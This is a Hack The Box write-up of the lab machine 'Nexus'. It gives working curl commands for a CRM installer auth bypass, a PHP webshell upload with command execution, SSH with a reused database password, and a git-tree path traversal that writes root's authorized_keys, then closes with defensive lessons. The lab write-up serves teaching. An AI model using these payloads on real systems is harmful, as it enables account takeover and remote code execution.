screenshots/01-nmap.png

Hack The Box - Nexus

Name: Nexus
OS: Linux
Difficulty: Easy
Platform: Hack The Box
Date: 2026-09-08
Views: 7
Tags:

Nexus — HTB Writeup (Linux, Easy)

Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.

Machine: Nexus · #948 · Linux · Easy · 20 pts Released: 2026-06-23 · Maker: 7u9y · https://app.hackthebox.com/machines/948 Target: 10.129.234.54 (nexus.htb, billing.nexus.htb, git.nexus.htb)

nmap surface and billing vhost login

Overview

Nexus is an Easy-difficulty Linux box built around a self-hosted Krayin CRM. It is a source-audit machine in a nearly literal sense: every hop hands you a file you get to read, and the final RCE is a traversal inside an unassuming systemd timer. The chain:

  1. Vhost + repo discovery. Port 80 is nginx with name-based vhosts; the corporate page leaks a j.matthew@nexus.htb "hiring manager" contact and the OAuth/CRM links reveal billing.nexus.htb. A gitea.nexus.htb host header 302s home — Gitea is localhost-only, listening on 127.0.0.1:3000.
  2. CVE-2026-38526 — Krayin CRM installer auth bypass. The CRM still ships an install/ API. POST /install/api/admin-config-setup is guarded by a middleware that only checks for the X-Requested-With: XMLHttpRequest header (an AJAX detection shortcut, not authentication). One unauthenticated POST overwrites the admin row with credentials we choose.
  3. RCE via TinyMCE upload. Admin session in hand, POST /admin/tinymce/upload accepted filename=shell.php;type=image/jpeg and returned {"location":".../storage/tinymce/<hash>.php"} → webshell as www-data.
  4. Credential reuse to jones. The CRM .env (/var/www/krayin/.env) carries DB_PASSWORD=y27xb3ha!!74GbR; the box has a local user jones whose local password is that same DB password. SSH as jones → user flag.
  5. Root via template-sync.py. jones runs a systemd timer gitea-template-sync.timer (every minute, root) around /etc/gitea/template-sync.py. The script stages templates from repos using os.path.join(stage_path, filepath) where filepath comes straight out of git ls-tree output — no normalization, no .. filter. We craft a git tree object whose filename contains ../../../../../root/.ssh/authorized_keys and push it to jones/ssh — the timer copies our key into root's authorized_keys on its next tick.

The teaching moment: two different identity-trusting systems (Laravel's AJAX middleware, and os.path.join trusting ls-tree names) both become takeover primitives because they accept attacker-shaped input as authoritative.

Recon

$ nmap -sC -sV 10.129.234.54 -oN recon/nmap_fresh.nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/

$ grep -q nexus.htb /etc/hosts || echo "10.129.234.54 nexus.htb billing.nexus.htb git.nexus.htb gitea.nexus.htb" | sudo tee -a /etc/hosts

The main site is a corporate marketing page ("Nexus Energy Authority") with mailto:careers@nexus.htb / mailto:j.matthew@nexus.htb in the careers section — the modal's openJobModal() apply-block is where the leaked identity comes from.

$ curl -s -H 'Host: billing.nexus.htb' http://10.129.234.54/admin/login  # Krayin CRM login, CSRF'd session
$ curl -s -H 'Host: gitea.nexus.htb' http://10.129.234.54/ -i            # 302 → nexus.htb home (vhost exists, no content externally)

Gitea itself is not reachable externally — it binds 127.0.0.1:3000 — a detail that matters the moment you have a webshell (step 4).

Foothold — CVE-2026-38526 → admin takeover

Krayin CRM's "install API" is still on disk post-install. Its helper route /install/api/admin-config-setup is protected by a middleware that checks the AJAX header — a client-supplied, client-trusted value:

$ curl -s -H 'Host: billing.nexus.htb' -H 'X-Requested-With: XMLHttpRequest' \
    -X POST http://10.129.234.54/install/api/admin-config-setup \
    -d 'admin=attacker&email=attacker@evil.com&password=Password123' -i
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
1                                    # <- the admin row was replaced

Unauthenticated installer overwrite → admin

Now log in with our credentials at /admin/login — the CRM admin dashboard is ours. The session is Bearer/cookie standard; the dashboard's TinyMCE file-upload endpoint takes any file and keeps its filename:

$ curl -s -b token -H 'Host: billing.nexus.htb' \
    -H "X-XSRF-TOKEN: $(python3 -c 'import urllib.parse; print(urllib.parse.unquote(open("/tmp/xsrf_token.txt").read().strip()))')" \
    -X POST http://10.129.234.54/admin/tinymce/upload \
    -F 'file=@-;filename=shell.php;type=image/jpeg' <<< '<?php system($_GET["cmd"]); ?>' -i | tail -2
{"location":"http://billing.nexus.htb/storage/tinymce/0cfc01d07ed482a3b0eb2203c2a34b4b.php"}
$ curl -s -H 'Host: billing.nexus.htb' \
    "http://10.129.234.54/storage/tinymce/0cfc01d07ed482a3b0eb2203c2a34b4b.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The X-XSRF-TOKEN header must be the URL-decoded Laravel cookie value — the encoded one gets rejected (419 Page Expired otherwise).

Lateral — CRM .env password reuse → SSH as jones

Through the webshell:

$ ...webshell?cmd=cat+/var/www/krayin/.env
DB_PASSWORD=y27xb3ha!!74GbR      # redacted in loot/ — reuse value
$ ...webshell?cmd=cat+/etc/passwd | grep -i jones
jones:x:1000:1000::/home/jones:/bin/bash

The same password is jones' local login:

$ sshpass -f loot/.env-password ssh jones@10.129.234.54 'id; cat /home/jones/user.txt'   # 🏁 user.txt
uid=1000(jones) gid=1000(jones) groups=1000(jones)

Privilege Escalation — template-sync traversal as root

Inside the box, Gitea is a real systemd-managed service plus a one-minute template-sync timer that runs as root:

$ systemctl cat gitea-template-sync.timer
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
$ systemctl cat gitea-template-sync.service
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py

/etc/gitea/template-sync.py (as jones):

STAGING_DIR = "/home/git/template-staging"
stage_path = os.path.join(STAGING_DIR, owner, name)
target = os.path.join(stage_path, filepath)   # filepath from git ls-tree, no sanitization

There is no validation on filepathos.path.join happily keeps .. segments. So a repo whose tree entry carries a traversal name gets copied mapped through that path. git CLI refuses to push such a tree, but we can craft the objects directly (the helper exploit/build_payload.py writes blob/tree/commit objects into /tmp/git-payload/.git/objects/, then exploit/push_payload.py transfers them to jones/ssh via the Gitea API):

filepath = "../../../../../root/.ssh/authorized_keys"

Timer configuration and crafted tree push

$ python3 exploit/build_payload.py   # writes raw objects, prints the tree SHA
$ python3 exploit/push_payload.py    # pushes our crafted tree to jones/ssh
$ sleep 65 && sshpass -f loot/.env-password ssh jones@10.129.234.54 \
    'tail -10 /var/log/template-sync.log'
syncing jones/ssh: ../../../../../root/.ssh/authorized_keys -> done
$ ssh -i /tmp/root_key root@10.129.234.54 'id'
uid=0(root) gid=0(root) groups=0(root)    # root flag read, loot/root.txt

Flags

🏁 user.txt: d0a74ea9c2e9b853d98329c6da999dfa (in loot/user.txt) 🏁 root.txt: 14d9cbc0ce9d3461eefe36778a6860c5 (in loot/root.txt)

Modern Takeaways

  • AJAX-header "auth" is middleware theater. X-Requested-With is client-controlled; a middleware that treats a request as trusted because a JavaScript convention is present is CVE-material — every install/setup route deserves an actual check, or better, removal after install.
  • TinyMCE upload without an extension whitelist is a webshell. It rides in with a spoofed content-type; the server only ever checks is_upload.
  • A DB password and a login password should never share sentences, — the classic .env reuse pays off exactly like previous boxes.
  • os.path.join is not a sanitizer. Anything that joins attacker-shaped names (from a repo tree, an archive, a JSON field) with a staging root needs explicit normalization and prefix-checking, plus a traversal test in CI. It is the same pattern as "tar without strip-components," in Python.
  • git ls-tree output is data, not authority. Any pipeline that treats repo paths as filesystem paths inherits this bug. Prefer git worktrees in a sandbox/tempdir and realpath-checked copies.

Files

  • recon/ — nmap, feroxbuster, cve evidence, webshell proof (all secret-free).
  • exploit/build_payload.py, push_payload.py (raw git-object crafting; contains no embedded secrets — Gitea creds come from loot/ at runtime).
  • loot/user.txt, root.txt (gitignored, mode 0600, not submitted).
  • screenshots/ — 3 terminal PNGs (secret-free).